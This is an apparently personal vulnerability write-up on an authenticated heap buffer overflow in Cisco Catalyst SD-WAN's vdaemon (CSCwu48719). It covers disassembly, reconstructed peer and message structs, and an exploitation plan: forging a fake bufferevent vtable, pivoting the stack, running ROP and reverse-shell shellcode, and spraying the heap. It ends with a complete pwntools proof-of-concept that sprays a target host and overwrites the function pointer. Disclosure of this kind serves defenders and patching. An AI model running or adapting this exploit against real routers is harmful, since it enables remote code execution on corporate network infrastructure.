my main site is @ evan.lat. pgp for sensitive stuff: here


cisco catalyst sdwan auth heap buffer overflow (CSCwu48719)

FPR AUG 5

a few more cves for now then ill publish some cool new writeups that doesnt involve shit like this (hint: corps). anyway

SUMMARY: an authenticated heap buffer overflow in cisco catalyst c8000v sd-wan allows an attacker with low privileges to corrupt process memory and achieve remote code execution by sending a crafted message of type 0x0d (13) with device mode 5.

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-notice-L4XfJg8S

https://bst.cisco.com/quickview/bug/CSCwu48719

wtf is sd-wan

imagine you operate a certain company. you have a ton of offices. each office needs to access cloud infra (such as databases/your jenkins ci server/the ceo’s hidden camera in the bathroom etc), talk to internal services, etc. obviously bad idea to expose al these so you have a vpn. unfortunately, vpns are garbage when scaled. this is where sdwan can help. the whole idea is that you put an sd wan router at each office, these routers establish secure tunnels to each other. then you get a centralized controller to define firewall rules, routes, etc. life is a lot easier now.

the vuln

the core vuln is in vdaemon. vdaemon is the core control plane binary used by catalyst to orchestrate stuff like secure tunneling and joining new devices when they first are introduced to the sd-wan. thus (again) its a juicy target to get initial access on.

the core vuln is at sub_2A4D0:

lea     rdi, [r12+0F34h] ; peer struct
mov     rbx, [rbp+src]         
lea     r15, [rbx+20h]         
lea     rsi, [rbx+24h]         
mov     edx, [rbx+20h]         
call    _memcpy
mov     byte ptr [r14+rax+0F34h], 0   ; null term

in case you forgot, this is memcpy’s proto:

void * memcpy(void * restrict dst, const void * restrict src, size_t n);

in this case, we are taking:

memcpy(peer+0xf34, msg+0x24, *(uint32_t *)msg+0x20);

the pseudocode, essenetially, is:

memcpy(&peer->f34h, msg->dat, msg->len);
peer->f34h[msg->len] = 0; 

i assume you can see the major issue in here lol. we control the length and src since we control the message. we get a heap buffer overflow. in this case, we get two overflows:

; second overflow
lea     rdi, [r12+0F86h]      
lea     rsi, [rbx+100h]       
mov     edx, [rbx+164h]
call    _memcpy
mov     byte ptr [r14+rax+0F86h], 0

this time to 0xf86 in peer.

peer is allocated in sub_21B20 once you xref it:

 peer = (unsigned int *)((__int64 (__fastcall *)(__int64))g_mem)(0x1298);

idk why its a funcptr but fixing the casts just give us peer = g_mem(0x1298) so its calm

so the peer struct is 4760 bytes large. within the peer struct this is what i guessed so far given the strings and some guesswork:

struct peer {           
     void    *list_next;
     void    *list_prev;
     uint8_t  pad_10[16];
     uint32_t peer_state;      
     uint32_t field_24;
     uint8_t  pad_28[14];
     uint8_t  flag_36;         
     uint8_t  pad_37[101];
     uint32_t msg_counter;     
     uint8_t  pad_A0[232];
     uint8_t  addr_info[16];   
     uint8_t  pad_198[161];
     uint8_t  tlv_block[128];  
     uint8_t  pad_2B9[167];
     uint8_t  addr_data[56];
     uint8_t  field_398[24];
     uint8_t  pad_3B0[256];
     void    *conn_ptr;
     struct timespec last_seen; 
     uint8_t  pad_4C8[2668];
     uint8_t  vuln_buf_1[82];  // where we hit
     uint8_t  vuln_buf_2[106];  // where we hit again
     uint8_t  field_FF0[8];
     char     str_FF8[58];
     uint8_t  field_1032;
     uint8_t  pad_1033[12];
     uint8_t  field_103F;
     uint8_t  flag_1040;
     uint8_t  pad_1041[3];
     uint32_t field_1044;
     uint32_t field_1048;
     uint8_t  pad_104C[28];
     void    (*bev_ssl)(...);        // funcptr HIT THIS HIT THIS
     uint8_t  pad_1070[48];
     uint8_t  field_10A0[128];
     uint8_t  field_1120[128];
     char     name1[41];       
     char     name2[41];       
     uint8_t  pad_11F2[14];
     void    *sub_obj;         
     uint8_t  field_1208[144];
};

and for the msg struct:

struct vdaemon_msg {
    uint8_t  header[4];
    uint32_t msg_type; // 13
    uint32_t device_type; // 5
    uint32_t field_0C;
    uint8_t  pad_10[8];
    uint32_t sub_type;       
    uint8_t  pad_1C[4];
    uint32_t datlen; // shit here
    uint8_t  dat[];  // main shit here
    uint8_t  tlvdatidk[16]; 
    uint8_t  tlvdatidk[16]; 
    uint8_t  tlvdatidk[16]; 
    uint8_t  tlvdatidk[16]; 
    uint8_t  tlvdatidk[16]; 
    uint8_t  tlvdatidk[16]; 
    uint8_t  tlvdatidk[16]; 
    uint8_t  tlvdatidk[16]; 
    uint32_t addr_family;    
    uint32_t addr_field;
    uint8_t  payload2[]; // again 
    uint32_t payload2_len; 
    char     name1[41];      
    char     name2[41];      
    uint8_t  flag_1A3;       
};

so, we could simply craft a specific message to hit this overflow sink, hit the function pointer in bev_ssl (the buffereventcb funcptr) which is dereferenced immediately after:

  if ( *(_QWORD *)(v136 + 4200) ) // our shit
        v167 = bufferevent_openssl_get_ssl();
      else

imo to exploit it this is the broad overview:

  1. overflow, make a fake bufferevent
  2. according to google gemini:

libevent uses be_ops as a virtual function table (struct bufferevent_ops *) inside the struct bufferevent core structure. It defines the specific behavior for different implementations of a bufferevent, such as sockets, filters, or SSL wrappers.

so, we make a fake vtable and the callback ptrs there.

  1. find a stack pivot gadget so we can rop in the heap (since the first arg is our controlled bufferevent ptr, ideally we want something like xchg rsp, rdi or mov rsp, [rdi+n] to control RIP
  2. we can rop so mprotect and run revshell shellcode (?) or chain that with the native system command in the binary. notably later versions prob have PIE so youre gonna have to get a leak first lol (or brute it). for nonpie just spray (groom, iykyk) the heap with a million revshells and adjust. this is probably a dumb way but im not a major memory corruption xp demon if you cant tell

reaching the src

unforutnately the requirements to reach this heap bof mean that it isnt preauth rce. youd still need a valid cert; but you could send a message of type 13 (0x0D), or a REGISTER_TO_VMANAGE type, make the device mode 5 (vManage device mode), then include your payload to hit the sink.

fin

notably cisco seems to have revamped their entire vuln categorizing model so vulns are now grouped into umbrella cves. rofl

from pwn import *
import argparse

context.arch = "amd64"

DST_OFF = 0xF34
BEV_OFF = 0x1068
PAD = BEV_OFF - DST_OFF
SPRAYN = 0x12A0
RIP = 0x0c0c0c0c0c

SPRAYCNT = 1024
SPRAYBASE  = 0x2000000


def parseargs():
    p = argparse.ArgumentParser()
    p.add_argument("--host", required=True)
    p.add_argument("--port", type=int, default=12346)
    p.add_argument("--cert", required=True)
    p.add_argument("--key", required=True)
    return p.parse_args()


def conn(a):
    return remote(a.host, a.port, ssl=True, ssl_args={"keyfile": a.key, "certfile": a.cert})


def msg(payload):
    buf = bytearray(max(0x200, 0x24 + len(payload)))
    buf[0x04:0x08] = p32(0x0D)
    buf[0x0C:0x10] = p32(len(buf), endian="big")
    buf[0x20:0x24] = p32(len(payload))
    buf[0x24:0x24 + len(payload)] = payload
    return bytes(buf)


def ambatuspray(addr):
    base = addr + DST_OFF

    fakevtable = b""
    fakevtable += p64(0)
    fakevtable += p64(0)
    fakevtable += p64(RIP) * 6

    fakebev = b""
    fakebev += p64(0)
    fakebev += p64(base)

    slidelen = (0x300 - len(fakevtable) - len(fakebev)) // 8

    return fakevtable + fakebev + p64(RIP) * slidelen


def beam(addr):
    return b"A" * PAD + p64(addr + DST_OFF + 0x40)


a = parseargs()
coverage = SPRAYCNT * SPRAYN

log.info(f"targ: {SPRAYBASE} {SPRAYCNT} sprays {coverage} b")

conns = []
plant = msg(ambatuspray(SPRAYBASE))

with log.progress("spraying") as p:
    for i in range(SPRAYCNT):
        p.status(f"+ spray {i+1}/{SPRAYCNT}")
        try:
            c = conn(a)
            c.send(plant)
            conns.append(c)
        except Exception:
            pass
log.success(f"{len(conns)} peers")

target = conn(a)
target.send(msg(beam(SPRAYBASE)))
log.success("+ sent")
target.interactive()